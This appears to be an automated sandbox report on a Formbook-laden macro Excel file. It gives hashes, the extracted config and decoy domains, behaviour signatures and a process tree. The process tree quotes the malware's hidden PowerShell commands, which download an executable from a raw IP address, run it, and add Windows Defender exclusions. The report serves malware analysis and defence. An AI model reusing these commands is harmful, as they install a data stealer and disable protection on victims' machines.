formbook | 54929de588e37191bfc6dd0bf4f3edc1fca58c67af0e6bc7b1bd15a66d8c1bf0

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-09-2024 08:22

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General

Target

SOA_PO#8829921199.xlsm
Size

165KB
MD5

c0a096ce5928bce34fffd5874093f235
SHA1

971a8fbd841e42dcab84288205525b89301825c2
SHA256

54929de588e37191bfc6dd0bf4f3edc1fca58c67af0e6bc7b1bd15a66d8c1bf0
SHA512

9d7c5aaf2fe546422ff3379169909929ec50f6eebba27d527178066c943ea2973a72c7501202b9502c8ccd646dfe6b49c1194c34b8f9822404bf1fad6971eb61
SSDEEP

3072:BJNjJehd8PiRjkctohQQRBK0BvyixmZ49ke+jJLNkYa6+Rc64d:BJN06iactuRbB6M9+1GYaza64d

Score

10^/10

formbook t20u discovery execution rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

t20u

Decoy

ecurity-jobs-ne-00989.bond

ameuniverse.shop

sychologist-therapy-33393.bond

refabricated-homes-33099.bond

urltheswirl.live

reengroce.online

cknowledgewizardinter14.sbs

excasino.club

931.bet

ilehog.net

olorandbrush.net

jpbbmr.biz

vtwenty20pt.top

nline-advertising-76521.bond

eavenresidence.net

arodyna.shop

orsi-di-massaggio.bond

est-kids-toys-near-me.today

47-nurse-76671.bond

u-suppr.top

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4312	1468	powershell.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	1468	powershell.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4564	1468	powershell.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2892	1468	powershell.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3244	1468	powershell.exe	83

Formbook payload 3 IoCs

rat

resource	yara_rule
behavioral2/memory/5044-87-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral2/memory/3284-134-0x00000000002D0000-0x00000000002FF000-memory.dmp	formbook
behavioral2/memory/4168-221-0x0000000000400000-0x000000000042F000-memory.dmp	formbook

Blocklisted process makes network request 5 IoCs

flow	pid	Process
56	4312	powershell.exe
58	2708	powershell.exe
59	4564	powershell.exe
60	2892	powershell.exe
62	3244	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2188	powershell.exe
912	powershell.exe
1852	powershell.exe
4312	powershell.exe
2708	powershell.exe
4564	powershell.exe
2892	powershell.exe
3244	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	gvpttllrilhpexthxdz.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	gvpttllrilhpexthxdz.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	gvpttllrilhpexthxdz.exe

Executes dropped EXE 8 IoCs

pid	Process
3328	gvpttllrilhpexthxdz.exe
4864	gvpttllrilhpexthxdz.exe
5044	gvpttllrilhpexthxdz.exe
4556	gvpttllrilhpexthxdz.exe
3696	gvpttllrilhpexthxdz.exe
3056	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe
1464	gvpttllrilhpexthxdz.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 3328 set thread context of 5044	3328	gvpttllrilhpexthxdz.exe	106
PID 5044 set thread context of 3488	5044	gvpttllrilhpexthxdz.exe	56
PID 4864 set thread context of 3696	4864	gvpttllrilhpexthxdz.exe	115
PID 3696 set thread context of 3488	3696	gvpttllrilhpexthxdz.exe	56
PID 3284 set thread context of 3488	3284	control.exe	56
PID 4556 set thread context of 4168	4556	gvpttllrilhpexthxdz.exe	122
PID 4168 set thread context of 3488	4168	gvpttllrilhpexthxdz.exe	56
PID 4168 set thread context of 3488	4168	gvpttllrilhpexthxdz.exe	56

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	control.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
840	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
4312	powershell.exe
4312	powershell.exe
2708	powershell.exe
2708	powershell.exe
5044	gvpttllrilhpexthxdz.exe
5044	gvpttllrilhpexthxdz.exe
5044	gvpttllrilhpexthxdz.exe
5044	gvpttllrilhpexthxdz.exe
2188	powershell.exe
2188	powershell.exe
3284	control.exe
3284	control.exe
3284	control.exe
3284	control.exe
4564	powershell.exe
4564	powershell.exe
3696	gvpttllrilhpexthxdz.exe
3696	gvpttllrilhpexthxdz.exe
3696	gvpttllrilhpexthxdz.exe
3696	gvpttllrilhpexthxdz.exe
912	powershell.exe
912	powershell.exe
3980	wscript.exe
3980	wscript.exe
3284	control.exe
3284	control.exe
2892	powershell.exe
3284	control.exe
3284	control.exe
2892	powershell.exe
4168	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe
1852	powershell.exe
1852	powershell.exe
3284	control.exe
3284	control.exe
4168	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe
3284	control.exe
3284	control.exe
3244	powershell.exe
3244	powershell.exe
3704	wlanext.exe
3704	wlanext.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
5044	gvpttllrilhpexthxdz.exe
5044	gvpttllrilhpexthxdz.exe
5044	gvpttllrilhpexthxdz.exe
3284	control.exe
3696	gvpttllrilhpexthxdz.exe
3284	control.exe
3696	gvpttllrilhpexthxdz.exe
3696	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe
4168	gvpttllrilhpexthxdz.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	5044	gvpttllrilhpexthxdz.exe
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeDebugPrivilege	3284	control.exe
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeDebugPrivilege	3696	gvpttllrilhpexthxdz.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeDebugPrivilege	3980	wscript.exe
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeDebugPrivilege	4168	gvpttllrilhpexthxdz.exe
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE
Token: SeShutdownPrivilege	3488	Explorer.EXE
Token: SeCreatePagefilePrivilege	3488	Explorer.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
840	EXCEL.EXE
840	EXCEL.EXE

Suspicious use of SetWindowsHookEx 22 IoCs

pid	Process
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE
840	EXCEL.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3488	Explorer.EXE

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 840 wrote to memory of 1340	840	EXCEL.EXE	84
PID 840 wrote to memory of 1340	840	EXCEL.EXE	84
PID 4312 wrote to memory of 3328	4312	powershell.exe	100
PID 4312 wrote to memory of 3328	4312	powershell.exe	100
PID 4312 wrote to memory of 3328	4312	powershell.exe	100
PID 2708 wrote to memory of 4864	2708	powershell.exe	103
PID 2708 wrote to memory of 4864	2708	powershell.exe	103
PID 2708 wrote to memory of 4864	2708	powershell.exe	103
PID 3328 wrote to memory of 2188	3328	gvpttllrilhpexthxdz.exe	104
PID 3328 wrote to memory of 2188	3328	gvpttllrilhpexthxdz.exe	104
PID 3328 wrote to memory of 2188	3328	gvpttllrilhpexthxdz.exe	104
PID 3328 wrote to memory of 5044	3328	gvpttllrilhpexthxdz.exe	106
PID 3328 wrote to memory of 5044	3328	gvpttllrilhpexthxdz.exe	106
PID 3328 wrote to memory of 5044	3328	gvpttllrilhpexthxdz.exe	106
PID 3328 wrote to memory of 5044	3328	gvpttllrilhpexthxdz.exe	106
PID 3328 wrote to memory of 5044	3328	gvpttllrilhpexthxdz.exe	106
PID 3328 wrote to memory of 5044	3328	gvpttllrilhpexthxdz.exe	106
PID 3488 wrote to memory of 3284	3488	Explorer.EXE	107
PID 3488 wrote to memory of 3284	3488	Explorer.EXE	107
PID 3488 wrote to memory of 3284	3488	Explorer.EXE	107
PID 3284 wrote to memory of 3156	3284	control.exe	108
PID 3284 wrote to memory of 3156	3284	control.exe	108
PID 3284 wrote to memory of 3156	3284	control.exe	108
PID 4564 wrote to memory of 4556	4564	powershell.exe	112
PID 4564 wrote to memory of 4556	4564	powershell.exe	112
PID 4564 wrote to memory of 4556	4564	powershell.exe	112
PID 4864 wrote to memory of 912	4864	gvpttllrilhpexthxdz.exe	113
PID 4864 wrote to memory of 912	4864	gvpttllrilhpexthxdz.exe	113
PID 4864 wrote to memory of 912	4864	gvpttllrilhpexthxdz.exe	113
PID 4864 wrote to memory of 3696	4864	gvpttllrilhpexthxdz.exe	115
PID 4864 wrote to memory of 3696	4864	gvpttllrilhpexthxdz.exe	115
PID 4864 wrote to memory of 3696	4864	gvpttllrilhpexthxdz.exe	115
PID 4864 wrote to memory of 3696	4864	gvpttllrilhpexthxdz.exe	115
PID 4864 wrote to memory of 3696	4864	gvpttllrilhpexthxdz.exe	115
PID 4864 wrote to memory of 3696	4864	gvpttllrilhpexthxdz.exe	115
PID 3488 wrote to memory of 3980	3488	Explorer.EXE	116
PID 3488 wrote to memory of 3980	3488	Explorer.EXE	116
PID 3488 wrote to memory of 3980	3488	Explorer.EXE	116
PID 2892 wrote to memory of 3056	2892	powershell.exe	119
PID 2892 wrote to memory of 3056	2892	powershell.exe	119
PID 2892 wrote to memory of 3056	2892	powershell.exe	119
PID 4556 wrote to memory of 1852	4556	gvpttllrilhpexthxdz.exe	120
PID 4556 wrote to memory of 1852	4556	gvpttllrilhpexthxdz.exe	120
PID 4556 wrote to memory of 1852	4556	gvpttllrilhpexthxdz.exe	120
PID 4556 wrote to memory of 4168	4556	gvpttllrilhpexthxdz.exe	122
PID 4556 wrote to memory of 4168	4556	gvpttllrilhpexthxdz.exe	122
PID 4556 wrote to memory of 4168	4556	gvpttllrilhpexthxdz.exe	122
PID 4556 wrote to memory of 4168	4556	gvpttllrilhpexthxdz.exe	122
PID 4556 wrote to memory of 4168	4556	gvpttllrilhpexthxdz.exe	122
PID 4556 wrote to memory of 4168	4556	gvpttllrilhpexthxdz.exe	122
PID 3488 wrote to memory of 3704	3488	Explorer.EXE	123
PID 3488 wrote to memory of 3704	3488	Explorer.EXE	123
PID 3488 wrote to memory of 3704	3488	Explorer.EXE	123
PID 3244 wrote to memory of 1464	3244	powershell.exe	126
PID 3244 wrote to memory of 1464	3244	powershell.exe	126
PID 3244 wrote to memory of 1464	3244	powershell.exe	126

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SOA_PO#8829921199.xlsm"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\splwow64.exe
    C:\Windows\splwow64.exe 12288
    3⤵
    PID:1340
- C:\Windows\SysWOW64\control.exe
  "C:\Windows\SysWOW64\control.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3156
- C:\Windows\SysWOW64\wscript.exe
  "C:\Windows\SysWOW64\wscript.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3980
- C:\Windows\SysWOW64\wlanext.exe
  "C:\Windows\SysWOW64\wlanext.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2188
- - C:\Users\Public\gvpttllrilhpexthxdz.exe
    "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:5044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:912
- - C:\Users\Public\gvpttllrilhpexthxdz.exe
    "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:3696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1852
- - C:\Users\Public\gvpttllrilhpexthxdz.exe
    "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:4168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\gvpttllrilhpexthxdz.exe.log

Filesize
1KB

MD5
8ec831f3e3a3f77e4a7b9cd32b48384c

SHA1
d83f09fd87c5bd86e045873c231c14836e76a05c

SHA256
7667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982

SHA512
26bffa2406b66368bd412bf25869a792631455645992cdcade2dbc13a2e56fb546414a6a9223b94c96c38d89187add6678d4779a88b38b0c9e36be8527b213c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d885ff0a315aff2824ba7bf4cbc482a5

SHA1
bc3a1551c5d5a884218efcd927192b53d6bf926d

SHA256
d09042154696756eb7337d32b752b3c8613f05a1691cc721594b6eb3dae66121

SHA512
91cc40bc645d332134547077d3f22dacb6958e830d2cc5127d4d258a0f7c80ed096f46dfe4cb1ec06a2c5f77112c494d620ff94ac085e6fe34f18f78be15c902

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
d70045f69f3e495d73e07c2d3304934d

SHA1
71b0acbe5991a8297d1823471622e138afec00d6

SHA256
eb53c1fdb2e99061a4ec5bca4b1cffd3599679139a804f302e80695722ec8524

SHA512
6652eea2320e6d1dc51cca5a9f6a21b549f268478e1aa1e91c696846b7ad3e70c6463a203a62f7336dda5dbf62737f19d519f9d08cd7396d4237415dcbeef675

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
fbbe616c6563865d0f776ed058aec2c4

SHA1
68a910fa8fad4b21e8cdc0c0263dbef6cadcc268

SHA256
dd1a56d9f57e412134fb8601e43727e06edde336dba81888c6f79828e6c5c0d7

SHA512
6422316dddc9efccb04d1b84f38014e4d565d228f6d7e0e799154ccec8dde7c795270cbb1d37e4a5630f3b61b326cb72771e76ad7dcde0d3e6bfcbe9d8802969

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
c86a3652954cb67c7334341f0374a873

SHA1
2e4be216ce92ecc23419f6ffc8a47998deaa0b67

SHA256
9e6802d9ca2ab699ad6813cd366ba2a5493f2a5a90a1b3b5e1cb24e5988817e3

SHA512
9c9446d280f9491d5dfbf560460e735b8de6021ab4b2f2632457404c5f412b2003d25bf74195f4942904102036c5b13958e4cb6b32d88fe7123ada16dca2fc87

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
9f3d3c7a642909e3ba01fdeb3b52bf0a

SHA1
7628cfb36c8555dc5080cc7facb6b5c83a6661c2

SHA256
b89a466b6d4ba7aad297f29dfa0e03f193e6ed4211842e7adbee1e896f810cc7

SHA512
